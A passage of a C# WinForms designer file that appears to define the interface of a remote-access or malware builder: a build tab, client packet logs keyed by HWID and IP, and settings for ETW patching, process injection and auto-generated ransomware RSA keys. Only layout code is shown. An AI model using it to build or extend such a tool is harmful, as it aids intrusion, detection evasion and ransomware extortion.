"patchETWGuna2CheckBox"; this.patchETWGuna2CheckBox.Size = new System.Drawing.Size(79, 17); this.patchETWGuna2CheckBox.TabIndex = 31; this.patchETWGuna2CheckBox.Text = "Patch ETW"; this.patchETWGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.patchETWGuna2CheckBox.UncheckedState.BorderRadius = 0; this.patchETWGuna2CheckBox.UncheckedState.BorderThickness = 0; this.patchETWGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // label4 // this.label4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label4.AutoSize = true; this.label4.BackColor = System.Drawing.Color.Transparent; this.label4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); this.label4.Location = new System.Drawing.Point(-1, 379); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(417, 13); this.label4.TabIndex = 10; this.label4.Text = "Note : those advanced options are for testing only and could cause client\'s crash" + "."; this.label4.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // tabPage9 // this.tabPage9.Controls.Add(this.buildLogsGuna2TextBox); this.tabPage9.Controls.Add(this.buildGuna2Button); this.tabPage9.Controls.Add(this.tosLicenseGuna2CheckBox); this.tabPage9.Controls.Add(this.label16); this.tabPage9.Location = new System.Drawing.Point(4, 44); this.tabPage9.Name = "tabPage9"; this.tabPage9.Size = new System.Drawing.Size(900, 395); this.tabPage9.TabIndex = 3; this.tabPage9.Text = "Build"; this.tabPage9.UseVisualStyleBackColor = true; // // buildLogsGuna2TextBox // this.buildLogsGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.buildLogsGuna2TextBox.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(250)))), ((int)(((byte)(250)))), ((int)(((byte)(250))))); this.buildLogsGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.buildLogsGuna2TextBox.DefaultText = ""; this.buildLogsGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.buildLogsGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.buildLogsGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.buildLogsGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.buildLogsGuna2TextBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(25)))), ((int)(((byte)(25))))); this.buildLogsGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.buildLogsGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.buildLogsGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.buildLogsGuna2TextBox.Location = new System.Drawing.Point(3, 146); this.buildLogsGuna2TextBox.Multiline = true; this.buildLogsGuna2TextBox.Name = "buildLogsGuna2TextBox"; this.buildLogsGuna2TextBox.PasswordChar = '\0'; this.buildLogsGuna2TextBox.PlaceholderText = "Build logs"; this.buildLogsGuna2TextBox.SelectedText = ""; this.buildLogsGuna2TextBox.Size = new System.Drawing.Size(894, 246); this.buildLogsGuna2TextBox.TabIndex = 35; // // buildGuna2Button // this.buildGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.Top; this.buildGuna2Button.Animated = true; this.buildGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.buildGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.buildGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.buildGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.buildGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.buildGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.buildGuna2Button.ForeColor = System.Drawing.Color.White; this.buildGuna2Button.Location = new System.Drawing.Point(251, 101); this.buildGuna2Button.Name = "buildGuna2Button"; this.buildGuna2Button.Size = new System.Drawing.Size(410, 39); this.buildGuna2Button.TabIndex = 34; this.buildGuna2Button.Text = "Build !"; this.buildGuna2Button.Click += new System.EventHandler(this.buildGuna2Button_Click); // // tosLicenseGuna2CheckBox // this.tosLicenseGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.Top; this.tosLicenseGuna2CheckBox.Animated = true; this.tosLicenseGuna2CheckBox.AutoSize = true; this.tosLicenseGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.tosLicenseGuna2CheckBox.CheckedState.BorderRadius = 0; this.tosLicenseGuna2CheckBox.CheckedState.BorderThickness = 0; this.tosLicenseGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.tosLicenseGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.tosLicenseGuna2CheckBox.Location = new System.Drawing.Point(251, 78); this.tosLicenseGuna2CheckBox.Name = "tosLicenseGuna2CheckBox"; this.tosLicenseGuna2CheckBox.Size = new System.Drawing.Size(183, 17); this.tosLicenseGuna2CheckBox.TabIndex = 33; this.tosLicenseGuna2CheckBox.Text = "Agreements to TOS and license"; this.tosLicenseGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tosLicenseGuna2CheckBox.UncheckedState.BorderRadius = 0; this.tosLicenseGuna2CheckBox.UncheckedState.BorderThickness = 0; this.tosLicenseGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // label16 // this.label16.Anchor = System.Windows.Forms.AnchorStyles.Top; this.label16.AutoSize = true; this.label16.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label16.Location = new System.Drawing.Point(248, 10); this.label16.Name = "label16"; this.label16.Size = new System.Drawing.Size(413, 65); this.label16.TabIndex = 32; this.label16.Text = resources.GetString("label16.Text"); // // tabPage3 // this.tabPage3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tabPage3.Controls.Add(this.guna2Panel2); this.tabPage3.Location = new System.Drawing.Point(4, 4); this.tabPage3.Name = "tabPage3"; this.tabPage3.Size = new System.Drawing.Size(908, 443); this.tabPage3.TabIndex = 2; this.tabPage3.Text = "Packet Logs"; // // guna2Panel2 // this.guna2Panel2.BackColor = System.Drawing.Color.White; this.guna2Panel2.Controls.Add(this.guna2VScrollBar2); this.guna2Panel2.Controls.Add(this.logsDataGridView); this.guna2Panel2.Dock = System.Windows.Forms.DockStyle.Fill; this.guna2Panel2.Location = new System.Drawing.Point(0, 0); this.guna2Panel2.Name = "guna2Panel2"; this.guna2Panel2.Size = new System.Drawing.Size(908, 443); this.guna2Panel2.TabIndex = 1; // // guna2VScrollBar2 // this.guna2VScrollBar2.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar2.FillColor = System.Drawing.Color.White; this.guna2VScrollBar2.InUpdate = false; this.guna2VScrollBar2.LargeChange = 10; this.guna2VScrollBar2.Location = new System.Drawing.Point(890, 0); this.guna2VScrollBar2.Name = "guna2VScrollBar2"; this.guna2VScrollBar2.ScrollbarSize = 18; this.guna2VScrollBar2.Size = new System.Drawing.Size(18, 443); this.guna2VScrollBar2.TabIndex = 11; this.guna2VScrollBar2.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // logsDataGridView // this.logsDataGridView.AllowUserToAddRows = false; this.logsDataGridView.AllowUserToDeleteRows = false; this.logsDataGridView.AllowUserToResizeColumns = false; this.logsDataGridView.AllowUserToResizeRows = false; this.logsDataGridView.BackgroundColor = System.Drawing.Color.White; this.logsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.logsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.logsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle1.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.logsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; this.logsDataGridView.ColumnHeadersHeight = 36; this.logsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column11, this.Column12, this.Column13, this.Column17, this.Column14, this.Column15, this.Column16}); this.logsDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.logsDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.logsDataGridView.EnableHeadersVisualStyles = false; this.logsDataGridView.GridColor = System.Drawing.Color.White; this.logsDataGridView.Location = new System.Drawing.Point(0, 0); this.logsDataGridView.Name = "logsDataGridView"; this.logsDataGridView.ReadOnly = true; this.logsDataGridView.RowHeadersVisible = false; dataGridViewCellStyle32.BackColor = System.Drawing.Color.White; dataGridViewCellStyle32.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle32.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle32.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.logsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle32; this.logsDataGridView.RowTemplate.Height = 26; this.logsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.logsDataGridView.Size = new System.Drawing.Size(908, 443); this.logsDataGridView.TabIndex = 12; this.logsDataGridView.TabStop = false; // // Column11 // this.Column11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle20.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column11.DefaultCellStyle = dataGridViewCellStyle20; this.Column11.FillWeight = 25F; this.Column11.HeaderText = "HWID"; this.Column11.Name = "Column11"; this.Column11.ReadOnly = true; this.Column11.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column12 // this.Column12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle31.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column12.DefaultCellStyle = dataGridViewCellStyle31; this.Column12.FillWeight = 18F; this.Column12.HeaderText = "IP"; this.Column12.Name = "Column12"; this.Column12.ReadOnly = true; this.Column12.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column13 // this.Column13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column13.FillWeight = 25F; this.Column13.HeaderText = "Packet"; this.Column13.Name = "Column13"; this.Column13.ReadOnly = true; this.Column13.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column17 // this.Column17.HeaderText = "Size"; this.Column17.Name = "Column17"; this.Column17.ReadOnly = true; // // Column14 // this.Column14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column14.FillWeight = 20F; this.Column14.HeaderText = "State"; this.Column14.Name = "Column14"; this.Column14.ReadOnly = true; this.Column14.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column15 // this.Column15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column15.FillWeight = 20F; this.Column15.HeaderText = "Date"; this.Column15.Name = "Column15"; this.Column15.ReadOnly = true; this.Column15.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column16 // this.Column16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column16.FillWeight = 20F; this.Column16.HeaderText = "Description"; this.Column16.Name = "Column16"; this.Column16.ReadOnly = true; // // tabPage4 // this.tabPage4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tabPage4.Controls.Add(this.guna2Panel3); this.tabPage4.Location = new System.Drawing.Point(4, 4); this.tabPage4.Name = "tabPage4"; this.tabPage4.Size = new System.Drawing.Size(908, 443); this.tabPage4.TabIndex = 3; this.tabPage4.Text = "Update Logs"; // // guna2Panel3 // this.guna2Panel3.BackColor = System.Drawing.Color.White; this.guna2Panel3.Controls.Add(this.updateLogRichTextBox); this.guna2Panel3.Dock = System.Windows.Forms.DockStyle.Fill; this.guna2Panel3.Location = new System.Drawing.Point(0, 0); this.guna2Panel3.Name = "guna2Panel3"; this.guna2Panel3.Size = new System.Drawing.Size(908, 443); this.guna2Panel3.TabIndex = 1; // // updateLogRichTextBox // this.updateLogRichTextBox.BackColor = System.Drawing.Color.White; this.updateLogRichTextBox.BorderStyle = System.Windows.Forms.BorderStyle.None; this.updateLogRichTextBox.Dock = System.Windows.Forms.DockStyle.Fill; this.updateLogRichTextBox.Font = new System.Drawing.Font("Segoe UI Semibold", 9F); this.updateLogRichTextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.updateLogRichTextBox.Location = new System.Drawing.Point(0, 0); this.updateLogRichTextBox.Name = "updateLogRichTextBox"; this.updateLogRichTextBox.ReadOnly = true; this.updateLogRichTextBox.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.None; this.updateLogRichTextBox.Size = new System.Drawing.Size(908, 443); this.updateLogRichTextBox.TabIndex = 14; this.updateLogRichTextBox.Text = ""; // // tabPage5 // this.tabPage5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tabPage5.Controls.Add(this.guna2Panel4); this.tabPage5.Location = new System.Drawing.Point(4, 4); this.tabPage5.Name = "tabPage5"; this.tabPage5.Size = new System.Drawing.Size(908, 443); this.tabPage5.TabIndex = 4; this.tabPage5.Text = "Settings"; // // guna2Panel4 // this.guna2Panel4.BackColor = System.Drawing.Color.White; this.guna2Panel4.Controls.Add(this.label22); this.guna2Panel4.Controls.Add(this.notificationIconGuna2CheckBox); this.guna2Panel4.Controls.Add(this.ransomKeyGuna2CheckBox); this.guna2Panel4.Controls.Add(this.label18); this.guna2Panel4.Controls.Add(this.bufferSizeGuna2ComboBox); this.guna2Panel4.Controls.Add(this.autoRemoveDownloadGuna2CheckBox); this.guna2Panel4.Controls.Add(this.processInjectionGuna2ComboBox); this.guna2Panel4.Controls.Add(this.label17); this.guna2Panel4.Controls.Add(this.autoSaveRecoveryGuna2CheckBox); this.guna2Panel4.Controls.Add(this.flagsPackGuna2ComboBox); this.guna2Panel4.Controls.Add(this.label1); this.guna2Panel4.Controls.Add(this.keyGuna2TextBox); this.guna2Panel4.Controls.Add(this.notificationSoundGuna2CheckBox); this.guna2Panel4.Controls.Add(this.guna2GroupBox1); this.guna2Panel4.Dock = System.Windows.Forms.DockStyle.Fill; this.guna2Panel4.Location = new System.Drawing.Point(0, 0); this.guna2Panel4.Name = "guna2Panel4"; this.guna2Panel4.Size = new System.Drawing.Size(908, 443); this.guna2Panel4.TabIndex = 2; // // label22 // this.label22.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label22.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label22.Location = new System.Drawing.Point(14, 415); this.label22.Name = "label22"; this.label22.Size = new System.Drawing.Size(52, 17); this.label22.TabIndex = 60; this.label22.Text = "Key :"; this.label22.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // notificationIconGuna2CheckBox // this.notificationIconGuna2CheckBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.notificationIconGuna2CheckBox.Animated = true; this.notificationIconGuna2CheckBox.AutoSize = true; this.notificationIconGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.notificationIconGuna2CheckBox.CheckedState.BorderRadius = 0; this.notificationIconGuna2CheckBox.CheckedState.BorderThickness = 0; this.notificationIconGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.notificationIconGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.notificationIconGuna2CheckBox.Location = new System.Drawing.Point(2, 344); this.notificationIconGuna2CheckBox.Name = "notificationIconGuna2CheckBox"; this.notificationIconGuna2CheckBox.Size = new System.Drawing.Size(110, 17); this.notificationIconGuna2CheckBox.TabIndex = 59; this.notificationIconGuna2CheckBox.Text = "Notification Icon"; this.notificationIconGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.notificationIconGuna2CheckBox.UncheckedState.BorderRadius = 0; this.notificationIconGuna2CheckBox.UncheckedState.BorderThickness = 0; this.notificationIconGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // ransomKeyGuna2CheckBox // this.ransomKeyGuna2CheckBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.ransomKeyGuna2CheckBox.Animated = true; this.ransomKeyGuna2CheckBox.AutoSize = true; this.ransomKeyGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.ransomKeyGuna2CheckBox.CheckedState.BorderRadius = 0; this.ransomKeyGuna2CheckBox.CheckedState.BorderThickness = 0; this.ransomKeyGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.ransomKeyGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.ransomKeyGuna2CheckBox.Location = new System.Drawing.Point(3, 297); this.ransomKeyGuna2CheckBox.Name = "ransomKeyGuna2CheckBox"; this.ransomKeyGuna2CheckBox.Size = new System.Drawing.Size(211, 17); this.ransomKeyGuna2CheckBox.TabIndex = 58; this.ransomKeyGuna2CheckBox.Text = "Auto create RSA key for ransomware"; this.ransomKeyGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.ransomKeyGuna2CheckBox.UncheckedState.BorderRadius = 0; this.ransomKeyGuna2CheckBox.UncheckedState.BorderThickness = 0; this.ransomKeyGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // label18 // this.label18.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label18.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label18.Location = new System.Drawing.Point(431, 334); this.label18.Name = "label18"; this.label18.Size = new System.Drawing.Size(155, 17); this.label18.TabIndex = 57; this.label18.Text = "Buffer Size (download file) :"; this.label18.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // bufferSizeGuna2ComboBox // this.bufferSizeGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.bufferSizeGuna2ComboBox.Animated = true; this.bufferSizeGuna2ComboBox.AutoRoundedCorners = true; this.bufferSizeGuna2ComboBox.BackColor = System.Drawing.Color.White; this.bufferSizeGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.bufferSizeGuna2ComboBox.BorderRadius = 17; this.bufferSizeGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.bufferSizeGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.bufferSizeGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.bufferSizeGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.bufferSizeGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.bufferSizeGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.bufferSizeGuna2ComboBox.ItemHeight = 30; this.bufferSizeGuna2ComboBox.Items.AddRange(new object[] { "512 kB", "1 MB", "2 MB", "4 MB", "8 MB", "10 MB"}); this.bufferSizeGuna2ComboBox.Location = new System.Drawing.Point(586, 325); this.bufferSizeGuna2ComboBox.Name = "bufferSizeGuna2ComboBox"; this.bufferSizeGuna2ComboBox.Size = new System.Drawing.Size(275, 36); this.bufferSizeGuna2ComboBox.TabIndex = 56; this.bufferSizeGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; // // autoRemoveDownloadGuna2CheckBox // this.autoRemoveDownloadGuna2CheckBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.autoRemoveDownloadGuna2CheckBox.Animated = true; this.autoRemoveDownloadGuna2CheckBox.AutoSize = true; this.autoRemoveDownloadGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.autoRemoveDownloadGuna2CheckBox.CheckedState.BorderRadius = 0; this.autoRemoveDownloadGuna2CheckBox.CheckedState.BorderThickness = 0; this.autoRemoveDownloadGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.autoRemoveDownloadGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.autoRemoveDownloadGuna2CheckBox.Location = new System.Drawing.Point(3, 320); this.autoRemoveDownloadGuna2CheckBox.Name = "autoRemoveDownloadGuna2CheckBox"; this.autoRemoveDownloadGuna2CheckBox.Size = new System.Drawing.Size(240, 17); this.autoRemoveDownloadGuna2CheckBox.TabIndex = 55; this.autoRemoveDownloadGuna2CheckBox.Text = "Auto remove row when file is downloaded"; this.autoRemoveDownloadGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.autoRemoveDownloadGuna2CheckBox.UncheckedState.BorderRadius = 0; this.autoRemoveDownloadGuna2CheckBox.UncheckedState.BorderThickness = 0; this.autoRemoveDownloadGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // processInjectionGuna2ComboBox // this.processInjectionGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.processInjectionGuna2ComboBox.Animated = true; this.processInjectionGuna2ComboBox.AutoRoundedCorners = true; this.processInjectionGuna2ComboBox.BackColor = System.Drawing.Color.White; this.processInjectionGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.processInjectionGuna2ComboBox.BorderRadius = 17; this.processInjectionGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.processInjectionGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.processInjectionGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.processInjectionGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.processInjectionGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.processInjectionGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.processInjectionGuna2ComboBox.ItemHeight = 30; this.processInjectionGuna2ComboBox.Items.AddRange(new object[] { "CLASSIC", "MAP_VIEW"}); this.processInjectionGuna2ComboBox.Location = new System.Drawing.Point(586, 367); this.processInjectionGuna2ComboBox.Name = "processInjectionGuna2ComboBox"; this.processInjectionGuna2ComboBox.Size = new System.Drawing.Size(275, 36); this.processInjectionGuna2ComboBox.TabIndex = 53; this.processInjectionGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; // // label17 // this.label17.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label17.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label17.Location = new System.Drawing.Point(496, 377); this.label17.Name = "label17"; this.label17.Size = new System.Drawing.Size(120, 17); this.label17.TabIndex = 54; this.label17.Text = "Process Injection :"; this.label17.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // autoSaveRecoveryGuna2CheckBox // this.autoSaveRecoveryGuna2CheckBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.autoSaveRecoveryGuna2CheckBox.Animated = true; this.autoSaveRecoveryGuna2CheckBox.AutoSize = true; this.autoSaveRecoveryGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.autoSaveRecoveryGuna2CheckBox.CheckedState.BorderRadius = 0; this.autoSaveRecoveryGuna2CheckBox.CheckedState.BorderThickness = 0; this.autoSaveRecoveryGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.autoSaveRecoveryGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.autoSaveRecoveryGuna2CheckBox.Location = new System.Drawing.Point(3, 390); this.autoSaveRecoveryGuna2CheckBox.Name = "autoSaveRecoveryGuna2CheckBox"; this.autoSaveRecoveryGuna2CheckBox.Size = new System.Drawing.Size(127, 17); 